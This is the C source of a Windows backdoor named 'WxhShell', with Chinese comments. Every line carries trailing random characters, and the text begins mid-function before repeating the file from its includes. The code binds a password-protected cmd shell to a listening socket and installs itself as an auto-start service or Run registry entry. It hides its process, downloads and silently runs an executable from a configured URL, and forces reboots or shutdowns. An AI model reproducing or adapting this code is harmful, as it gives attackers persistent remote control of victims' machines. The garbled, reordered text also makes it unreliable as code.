    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qj6`nbZ{va  
    else { t4IJ%#22  
    closesocket(wsh); =vc5,  
    ExitThread(0); '/H(,TM  
    } AVr!e   
    break; @EY}iK~  
    } QB[s8"S  
  // 获取shell I5L7BTe  
  case 's': { #I?iR 3u  
    CmdShell(wsh); n{t',r50  
    closesocket(wsh); '| }}o g  
    ExitThread(0); _o.Z`]  
    break; jEsTw_  
  } MQ*#oVqv  
  // 退出 D H !Br  
  case 'x': { S |x)7NC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0'hxw3#  
    CloseIt(wsh); \Wc/kY3&  
    break; >y9o&D  
    } :xPvEK[B7  
  // 离开 TyWy5J< :+  
  case 'q': { ]uvbQ.l_t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >t2b?(h/x  
    closesocket(wsh); 8q3TeMYV  
    WSACleanup(); hzLGmWN2j8  
    exit(1); $Jm2,Yv  
    break; N >!xedw=  
        } gJ.6m&+  
  } h`]/3Ma*:  
  } &XRFX 5gP  
@6q$Zg/  
  // 提示信息 =BS'oBn^6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XQOprIJ U  
} SSLs hY~d  
  } ^qx\e$R  
a{*'pY(R0$  
  return; Z5Ihc%J^  
}  _)E8XyzF  
qm=F6*@}  
// shell模块句柄 0xUj#)  
int CmdShell(SOCKET sock) @izi2ND  
{ 6\Vu#r  
STARTUPINFO si; MNqyEc""  
ZeroMemory(&si,sizeof(si)); g u =fq\`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \hW73a!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eH955[fVd4  
PROCESS_INFORMATION ProcessInfo; q "D L6 >j  
char cmdline[]="cmd";  sGls^J)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )_e"N d4  
  return 0; |u;BAb  
} TDIOK  
 hu(K!>{  
// 自身启动模式 &PuJV +y  
int StartFromService(void) 3cO[t\/up  
{ +g6j =%  
typedef struct )ek 5  
{ aRKRy  
  DWORD ExitStatus; o:D BOpS  
  DWORD PebBaseAddress; sK-|xU.  
  DWORD AffinityMask; jL+}F/~r  
  DWORD BasePriority; 'uAC oME@  
  ULONG UniqueProcessId; hav?mnVJ  
  ULONG InheritedFromUniqueProcessId; N#['fg'  
}   PROCESS_BASIC_INFORMATION; ~_db<!a  
*rz(}(r  
PROCNTQSIP NtQueryInformationProcess; Gd6 ;'ZCmY  
7Y|>xx=v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $a*Q).^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c9TAV,/fF*  
D 2:a  
  HANDLE             hProcess; 0aTbzOn&  
  PROCESS_BASIC_INFORMATION pbi; G\N"rG=  
7]xz8t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qm8n7Z/  
  if(NULL == hInst ) return 0; C.)&FW2F_  
Bb [e[,ah  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gDNTIOV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _K}_h\e.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5m USh3  
H.8CwsfP  
  if (!NtQueryInformationProcess) return 0; 9=~H6(m>  
N"1x]1'   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RrU~"P1C  
  if(!hProcess) return 0; k\&IFSp  
<<On*#80w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0S:!Gv +  
qVD!/;l  
  CloseHandle(hProcess); @VC9gd O/  
V@n(v\F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <fsn2[V:B%  
if(hProcess==NULL) return 0; iC|6roO!jk  
QjjJtKz  
HMODULE hMod; y~c4:*L3  
char procName[255]; >)J47j7{c  
unsigned long cbNeeded; h}`&]2|]  
Pv %vx U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ";?C4%L  
EM 54  
  CloseHandle(hProcess); wy_;+ 'Y  
e|5B1rMM  
if(strstr(procName,"services")) return 1; // 以服务启动 tct 5*.|  
=PKt09b^  
  return 0; // 注册表启动 <x0uO  
} @7l=+`.i  
kYA'PW/[ )  
// 主模块 95?5=T F  
int StartWxhshell(LPSTR lpCmdLine) [+MH[1Vr={  
{ U~#^ ^  
  SOCKET wsl; aEFe!_QY  
BOOL val=TRUE; w HHF=Q  
  int port=0; QV'3O|  
  struct sockaddr_in door; a[P>SqT4`  
F {*9[jY  
  if(wscfg.ws_autoins) Install(); {uwk[f{z  
$, &g AU  
port=atoi(lpCmdLine); |6(qg5"  
llaZP(pJ  
if(port<=0) port=wscfg.ws_port; K!- &Zv  
%YvSHh;c  
  WSADATA data; *4hOCQ[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \p@nH%@v  
}Cmj(k`~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |+;KhC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Sp`fh7d.(  
  door.sin_family = AF_INET; iZ.&q 6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kf^-m/  
  door.sin_port = htons(port); |Y8Mk2,s  
1YIux,2\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LF9aw4:>Ou  
closesocket(wsl); !skb=B#  
return 1; APQQ:'>N4~  
} wwK~H  
*`g-gk  
  if(listen(wsl,2) == INVALID_SOCKET) { Z\*5:a]  
closesocket(wsl); LN~N Fjs  
return 1; ??\*D9rCn  
} iUxDEt[t*  
  Wxhshell(wsl); d)hzi  
  WSACleanup(); 6Y>,e;R  
y\|-O<8O  
return 0; lNA'M&  
EN-8uY.  
} /HjI=263  
ek(kY6x:  
// 以NT服务方式启动 :@QK}qFP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4iYKW2a  
{ v't6 yud  
DWORD   status = 0; c_-" Qo  
  DWORD   specificError = 0xfffffff; , Y g5X  
DX&lBV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zO).<xIq+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l?@MUsg+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; " g0-u(Y  
  serviceStatus.dwWin32ExitCode     = 0; O{")i;v @  
  serviceStatus.dwServiceSpecificExitCode = 0; y?Hj %,  
  serviceStatus.dwCheckPoint       = 0; w8ZHk?:  
  serviceStatus.dwWaitHint       = 0; Y>78h2AU  
BYr_Lz|T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J:g<RZZ1  
  if (hServiceStatusHandle==0) return; Z/NGv  
,Ou1!`6?t  
status = GetLastError(); %2Xus9;k#  
  if (status!=NO_ERROR) X]zCTY=l  
{ ~ C/Yv&58  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j'#jnP*P  
    serviceStatus.dwCheckPoint       = 0; \'s$ZN$k  
    serviceStatus.dwWaitHint       = 0; xJ=ZQ)&]  
    serviceStatus.dwWin32ExitCode     = status; QLF,/"  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2<y}91N:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n!kk~65|  
    return; PuCwdTan_  
  } Y-Ziyy  
)tN?: l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qEK4I}Q-=  
  serviceStatus.dwCheckPoint       = 0; /`4v"f0V  
  serviceStatus.dwWaitHint       = 0; r&%gjqt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >}dTO/  
} ]HJ{dcF  
vDK:v$g  
// 处理NT服务事件,比如:启动、停止 ;Ch+X$m9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0$xK   
{ zJnL<Q  
switch(fdwControl) )d770Xg+  
{ ^Txu ~r0@  
case SERVICE_CONTROL_STOP: xUiWiOihr6  
  serviceStatus.dwWin32ExitCode = 0; t-*VsPy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "4Lg8qm  
  serviceStatus.dwCheckPoint   = 0; JAGi""3HG  
  serviceStatus.dwWaitHint     = 0; 1AV1d%F  
  { g{g`YvLu^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gZ`32fB%  
  } Gsds!z$  
  return; q:`77  
case SERVICE_CONTROL_PAUSE: pgz:F#>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; klK-,J  
  break; ot|N;=ZKo  
case SERVICE_CONTROL_CONTINUE: MO));M)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Lf,CxZL5  
  break; 'L>&ZgLy  
case SERVICE_CONTROL_INTERROGATE: rQu  
  break; +Fc ET  
}; SWNU1x{,c\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fe_::NVvk  
} jgo e^f  
6)=](VmNL`  
// 标准应用程序主函数 avu*>SB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V]l&{hl,  
{ t7jh ?]  
@!z$Sp=  
// 获取操作系统版本 88Fb1!a5Z  
OsIsNt=GetOsVer(); S+.21,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ri/t(m^{W  
w8AJ#9W  
  // 从命令行安装 wb(*7 &eP:  
  if(strpbrk(lpCmdLine,"iI")) Install(); nuf@}W>y  
Q  `e~MD  
  // 下载执行文件 >:w?qEaE  
if(wscfg.ws_downexe) { jgk{'_ j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B,~f "  
  WinExec(wscfg.ws_filenam,SW_HIDE); i&A{L}eCr:  
} .+{nA}Bc  
EpRXjz  
if(!OsIsNt) { /~H[= Pf  
// 如果时win9x,隐藏进程并且设置为注册表启动 /[\6oa  
HideProc(); a(PjcQ4dY  
StartWxhshell(lpCmdLine); eP V-yy  
} G*kE~s9R  
else 07.nq;/R  
  if(StartFromService()) 6@"Vqm|HD  
  // 以服务方式启动 @IEI%vH  
  StartServiceCtrlDispatcher(DispatchTable); >|l;*Kw,/P  
else P_,v5Qx"-  
  // 普通方式启动 ??|d=4g\  
  StartWxhshell(lpCmdLine); Ivz+Jj w  
((Vj]I% ;  
return 0; @PYW|*VS  
} E)KB@f<g*  
f:_=5e +  
#^5a\XJb  
:~\LOKf  
=========================================== [NQmL=l  
9T8|y]0F  
;):8yBMk  
L_tjcfVo  
%)zk..K{l  
9k+N3vA  
" v57N^DR{  
U8 Z~Y}29  
#include <stdio.h> ' oBo|  
#include <string.h> l'|E,N>X  
#include <windows.h> \BN|?r$a  
#include <winsock2.h> ^ H'hD  
#include <winsvc.h> ^{),+S  
#include <urlmon.h> [yO=S0 e  
uQeqnGp  
#pragma comment (lib, "Ws2_32.lib") Zw2jezP@t  
#pragma comment (lib, "urlmon.lib") Gh2#-~|cB  
TcR=GR*cJ  
#define MAX_USER   100 // 最大客户端连接数 ' be P  
#define BUF_SOCK   200 // sock buffer q!ee g  
#define KEY_BUFF   255 // 输入 buffer MzG5u<D  
3Z_t%J5QZ$  
#define REBOOT     0   // 重启 [_j6cj]  
#define SHUTDOWN   1   // 关机 :9(3h"  
`2>XH:+7F  
#define DEF_PORT   5000 // 监听端口  `>%-  
7;^((.]ln  
#define REG_LEN     16   // 注册表键长度 {?w"hjy  
#define SVC_LEN     80   // NT服务名长度 MKomq  
BqQ] x'AF  
// 从dll定义API ||R0U@F,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /rqqC(1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qpoquWZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); - o4@#p>>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \^Ep>Pq`]  
9X!ET!  
// wxhshell配置信息 h8em\<;  
struct WSCFG { [.{^"<Z<  
  int ws_port;         // 监听端口 a@Mq J=<L  
  char ws_passstr[REG_LEN]; // 口令 B,4q>KQA  
  int ws_autoins;       // 安装标记, 1=yes 0=no b2G2c L-(  
  char ws_regname[REG_LEN]; // 注册表键名 g4Y) Bz  
  char ws_svcname[REG_LEN]; // 服务名 IDj_l+?c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p`\3if'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :*#rRQ>t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^)|&|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A_@I_V$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pQqbZ3]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xtOx|FkYcl  
n;%y  
}; 6*sw,sU[y  
oBb?"2~9  
// default Wxhshell configuration Y=9qJ`q  
struct WSCFG wscfg={DEF_PORT, F@<O;b#Ip  
    "xuhuanlingzhe", i[PvDv"n  
    1, mU50pM~/i  
    "Wxhshell", ]+mjOks~  
    "Wxhshell", 3u*82s\8T  
            "WxhShell Service", Jff 79)f  
    "Wrsky Windows CmdShell Service", Bw6L;Vu  
    "Please Input Your Password: ", ;xhOj<:  
  1, y">fN0{<  
  "http://www.wrsky.com/wxhshell.exe", `n6/ A)  
  "Wxhshell.exe" 'm[6v}  
    }; f?Z|>3.2  
`N$!s7M  
// 消息定义模块 Tj&'KF8?L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #$FY+`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n"iNKR>nW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F%Kp9I*  
char *msg_ws_ext="\n\rExit."; NaF(\j  
char *msg_ws_end="\n\rQuit.";  U7E  
char *msg_ws_boot="\n\rReboot..."; o_sQQF  
char *msg_ws_poff="\n\rShutdown..."; y86))  
char *msg_ws_down="\n\rSave to "; 0D<TF>M;pn  
cI3y  
char *msg_ws_err="\n\rErr!"; 7^Na9]PY  
char *msg_ws_ok="\n\rOK!"; -/zp&*0gcx  
<>]1Y$^Y  
char ExeFile[MAX_PATH]; pL! a  
int nUser = 0; IJ0#iA. T  
HANDLE handles[MAX_USER]; 7RD$=?oO'  
int OsIsNt; #K|0lau l  
\04mLIJr9  
SERVICE_STATUS       serviceStatus; |gW    
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (|dPeix|  
<~N%W#z/  
// 函数声明 Vg{Zv4+t  
int Install(void); p!}ZdX[u  
int Uninstall(void); 7u::5W-q  
int DownloadFile(char *sURL, SOCKET wsh); a&C.=  
int Boot(int flag); 7lwTZ*rnY  
void HideProc(void); M'DWu|dIBA  
int GetOsVer(void); sXiv,  
int Wxhshell(SOCKET wsl); * MEe,4  
void TalkWithClient(void *cs); 9s(i`RTM  
int CmdShell(SOCKET sock); [A]Ca$':  
int StartFromService(void); JD ]OIh  
int StartWxhshell(LPSTR lpCmdLine); 1Fs-0)s8  
0vn[a,W<A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gM#jA8gz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \-c#jo.$8  
:@/"abv  
// 数据结构和表定义 U;p e:  
SERVICE_TABLE_ENTRY DispatchTable[] = 1M+oTIN  
{ N 'i,>  
{wscfg.ws_svcname, NTServiceMain}, -6`;},Yr  
{NULL, NULL} a8zZgIV  
}; nkRK +~>  
E?cZ bn*>`  
// 自我安装 lVoik *,B  
int Install(void) ETO$9}x[  
{ @(>XOj?+  
  char svExeFile[MAX_PATH]; [zQ WyDu  
  HKEY key; 1%jH^,t/m  
  strcpy(svExeFile,ExeFile); DT\ym9  
{]`p&@  
// 如果是win9x系统,修改注册表设为自启动 f?^S bp  
if(!OsIsNt) { =m9i)Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ) |MJnx9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oNIFx5*Z  
  RegCloseKey(key); (ND%}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `eC+% O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +ubnx{VC  
  RegCloseKey(key); jgq{pZ#E  
  return 0; ?mU\ N0o  
    } 3;l"=#5  
  } Yb 6q))Y  
} /zT`Y=1  
else { ,Kw5Ro`I:  
Sy  
// 如果是NT以上系统,安装为系统服务 . :a<2sp6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TBnvV 5_  
if (schSCManager!=0) ;& |qSa'  
{ 'MN1A;IJ  
  SC_HANDLE schService = CreateService +/y]h 0aa  
  ( A=X-;N#  
  schSCManager, )xt4Wk/  
  wscfg.ws_svcname, -zKxf@"  
  wscfg.ws_svcdisp, Q'K$L9q  
  SERVICE_ALL_ACCESS, j5^-.sEEw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7"cv|6y|  
  SERVICE_AUTO_START, H^ BYd%-  
  SERVICE_ERROR_NORMAL, xA #H0?a]  
  svExeFile, k':s =IXW  
  NULL, >f$NzJ}  
  NULL, 9Ejyg*  
  NULL, ]Ik%#l.G_  
  NULL, /_*>d)  
  NULL wa ky<w,  
  ); X#ZgS!Mn  
  if (schService!=0) 5)M 2r!\  
  { Fw"$A0  
  CloseServiceHandle(schService); ~5 >[`)  
  CloseServiceHandle(schSCManager); 55m<XC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y(r@v  
  strcat(svExeFile,wscfg.ws_svcname); n8u*JeN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !ni>\lZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]JMl|e  
  RegCloseKey(key); Qn|+eLY  
  return 0; Js{= i>D  
    } HnU Et/  
  } ;#/0b{XFj  
  CloseServiceHandle(schSCManager); VLdB_r3lQ  
} IzUo0D*@  
} &{z<kmc$6  
P^i.La,  
return 1; E\$C/}T  
} 0^&!6R  
2|{V,!/cvG  
// 自我卸载 l r~gG3   
int Uninstall(void) hs(W;tR@W  
{ ;LMWNy4  
  HKEY key; c1%rV`)]  
_|zBUrN  
if(!OsIsNt) { 62\&RRB i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XYfv(y  
  RegDeleteValue(key,wscfg.ws_regname); %|+E48  
  RegCloseKey(key); @cv{rr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T)SbHp Y  
  RegDeleteValue(key,wscfg.ws_regname); H?Jm'\~  
  RegCloseKey(key); Z<"K_bj   
  return 0; > 0.W`j(s  
  } dR+1aY;  
} 4!%F\c46  
} fdv`7u+}a  
else { BsLG^f  
W^3;F1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1@_T  m  
if (schSCManager!=0) #/ "+  
{ ; Lql_1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *e/K:k  
  if (schService!=0) cdTsRS;E  
  { XsL#;a C  
  if(DeleteService(schService)!=0) { xs!p|  
  CloseServiceHandle(schService); JhX=l-?  
  CloseServiceHandle(schSCManager); yI)~]K r  
  return 0; VKW|kU7Cs$  
  } }}T,W.#%u  
  CloseServiceHandle(schService); Jpj!rXTX*  
  } W?z#pV+jt  
  CloseServiceHandle(schSCManager); H%}IuHhN)  
} Y*LaBxt Q  
} X_ ?97iXjx  
c/aup  
return 1; '{[),*nCn  
} 2Z/K(J"&J  
KnzsHli,~k  
// 从指定url下载文件 YQ]\uT>}&  
int DownloadFile(char *sURL, SOCKET wsh) !;3PG9n3|h  
{ a07=tD  
  HRESULT hr; ll<NIdf\r  
char seps[]= "/"; M1!pQC_9  
char *token; \Fb| {6+  
char *file; Qe$k3!  
char myURL[MAX_PATH]; %b}gDWs  
char myFILE[MAX_PATH]; _*6v|Ed?  
k\7:{y@,  
strcpy(myURL,sURL); XDz5b.,  
  token=strtok(myURL,seps); ry0%a[[  
  while(token!=NULL) 9uYyfb: ,z  
  { HeA{3s  
    file=token; OB^Tq~i  
  token=strtok(NULL,seps); PQ U]l"A  
  } ,)fkr]`<  
]axh*J3`i  
GetCurrentDirectory(MAX_PATH,myFILE); *xs!5|n+  
strcat(myFILE, "\\"); kB P*K  
strcat(myFILE, file); )S@jDaU<  
  send(wsh,myFILE,strlen(myFILE),0); :`Az/U[  
send(wsh,"...",3,0); Lm%GR[tyQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .v\\Tq&"|  
  if(hr==S_OK) ~;#MpG;e  
return 0; "!UVs+)]  
else R;}22s  
return 1; yR71%]*.  
y,Q5; $w8  
} AuiFbRFi  
S h4wqf  
// 系统电源模块 <7sIm^N  
int Boot(int flag) K_BPZ5w  
{ ^TFs;|..  
  HANDLE hToken; 7Z,/g|s}z  
  TOKEN_PRIVILEGES tkp; 1np^(['ih  
U 4,2br>  
  if(OsIsNt) { TMVryb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); = +Xc4a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KEr\nKT1  
    tkp.PrivilegeCount = 1; Ufid%T'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; { T]?o~W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =zg:aTMti  
if(flag==REBOOT) { X%{'<baR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W WG /k17  
  return 0; pW?& J>\6  
} .[s2zI  
else { qE7R4>5xjO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u{f* M,k  
  return 0; )Y]/^1hx  
} 5#JJ?  
  } ;/8{N0  
  else { CAc %f9!3  
if(flag==REBOOT) { eE]hy'{d<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UlovXb  
  return 0; G*}F5.>8(  
} saZ>?Owz  
else { >_ \<E!j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LM l~yqM  
  return 0; =y]$0nh  
} &%C4Ugo  
} z;}6f  
?Dsm~bkX[  
return 1; n(;:*<Rh  
} F?4(5 K  
kCP$I732  
// win9x进程隐藏模块 m <k!^jp  
void HideProc(void) H{G{H=K_  
{ 6f%DpJ:$U  
RMXzU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yJJ4~j){l  
  if ( hKernel != NULL ) EeQ5vqU  
  { yJ2B3i@T 4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4&X*pL2;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g /+oZU  
    FreeLibrary(hKernel); WE!vSZ3R  
  } 'c`jyn  
(?&=T.*^  
return; "HIXm  
} % 4 ~l  
:`,3h%  
// 获取操作系统版本 =tdSq"jh  
int GetOsVer(void) m}Y0xV9  
{ ` $5UHa2/  
  OSVERSIONINFO winfo; \FzM4-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 15H6:_+=0  
  GetVersionEx(&winfo); :14i?4F d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L2z2}U=<  
  return 1; ": ;@Hnb/  
  else i6PM<X,{;  
  return 0; '/%zi,0  
} UVu DQ  
)mcEQ-!b  
// 客户端句柄模块 fys  
int Wxhshell(SOCKET wsl) MXh "Y*}  
{ ]Yyia.B  
  SOCKET wsh; t-e5ld~a  
  struct sockaddr_in client; peVq+(=.  
  DWORD myID; [J#1Ff;  
Bx~[F  
  while(nUser<MAX_USER) Ubz"rCjq  
{ %b!-~ Y.  
  int nSize=sizeof(client); 2z0n<`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ">jwh.  
  if(wsh==INVALID_SOCKET) return 1; %Kb9tHg  
L\aBc}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v:_B kHN'  
if(handles[nUser]==0) l:(Rb-Wy  
  closesocket(wsh); iZ,YxN<R  
else 6tjcAsV  
  nUser++; :os z  
  } !dcwq;Ea  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R4's7k  
x%> e)L<  
  return 0; 90N`CXas  
} mj,fp2D;%  
E@)\Lc~  
// 关闭 socket j -O2aL  
void CloseIt(SOCKET wsh) dKhA$f~  
{ C*6S@4k  
closesocket(wsh); IO$z%r7  
nUser--;  b`mj_b  
ExitThread(0); *JCQu0  
} *wbZ;rfF  
8cg`7(a  
// 客户端请求句柄 j5 wRGn3  
void TalkWithClient(void *cs) W  0[N0c  
{ Uu p(6`7  
F phDF  
  SOCKET wsh=(SOCKET)cs; $a;]_Y  
  char pwd[SVC_LEN]; 'Pltn{iq[  
  char cmd[KEY_BUFF]; MQ/ A]EeL  
char chr[1]; adEJk  
int i,j; q 2? X"!  
6vzk\n  
  while (nUser < MAX_USER) { \>/M .2  
HRa@  
if(wscfg.ws_passstr) { rp34?/Nz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &lc8G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L):qu  
  //ZeroMemory(pwd,KEY_BUFF); LxN*)[Wb  
      i=0; 4/> Our 5  
  while(i<SVC_LEN) { 2s ,8R  
$So%d9k  
  // 设置超时 +{`yeZ9S  
  fd_set FdRead; w=b(X q+:  
  struct timeval TimeOut; lT8\}hNI+  
  FD_ZERO(&FdRead); E">T*ao  
  FD_SET(wsh,&FdRead); VrP}#3I  
  TimeOut.tv_sec=8; n]CbDbNw7)  
  TimeOut.tv_usec=0; 5ua?I9fY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,5k-.Md>2*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I0= NaZ7  
"i)Yvh[y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F_;tT%ywfx  
  pwd=chr[0]; :K.4n  
  if(chr[0]==0xd || chr[0]==0xa) { P1zK2sL_  
  pwd=0; !E\[SjY@J  
  break; }qPhx6nP  
  } 'md0]R|  
  i++; 1qdZ c_x  
    } g<*jlM1r  
S4NL "m  
  // 如果是非法用户,关闭 socket eo]#sf@\0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0Ce]V,i6C>  
} ik1tidw  
n(Y%Vmy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rx ~[Zs+*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5t:8.%<UK  
0au)g!ti  
while(1) { '{?C{MK3Q  
YhKZ|@  
  ZeroMemory(cmd,KEY_BUFF);  NY  
FpV`#6i7  
      // 自动支持客户端 telnet标准   YrI|gz)  
  j=0; "AueLl)  
  while(j<KEY_BUFF) { c$E)P$<j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `i!wq&1g7  
  cmd[j]=chr[0]; > dZ3+f  
  if(chr[0]==0xa || chr[0]==0xd) { !4#"!Md4o  
  cmd[j]=0; DtCEm(b0  
  break; 8pZ< 9t'  
  } t@zdm y  
  j++; 'w/qcD-  
    } 2i=H"('G)+  
PK6iY7Qp)  
  // 下载文件 #} ,x @]p  
  if(strstr(cmd,"http://")) { =J'P.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Qu*1g(el!o  
  if(DownloadFile(cmd,wsh)) _cI_#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gy29MUF  
  else !R{R??  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n[+'OU[  
  } F}?<v8#z0  
  else { 6o&ZIYJ9k  
oh8L`=>&a  
    switch(cmd[0]) { PBqy F  
  +",S2Qmo  
  // 帮助 {5Lj8 N5  
  case '?': { 6.Ie\5-a;  
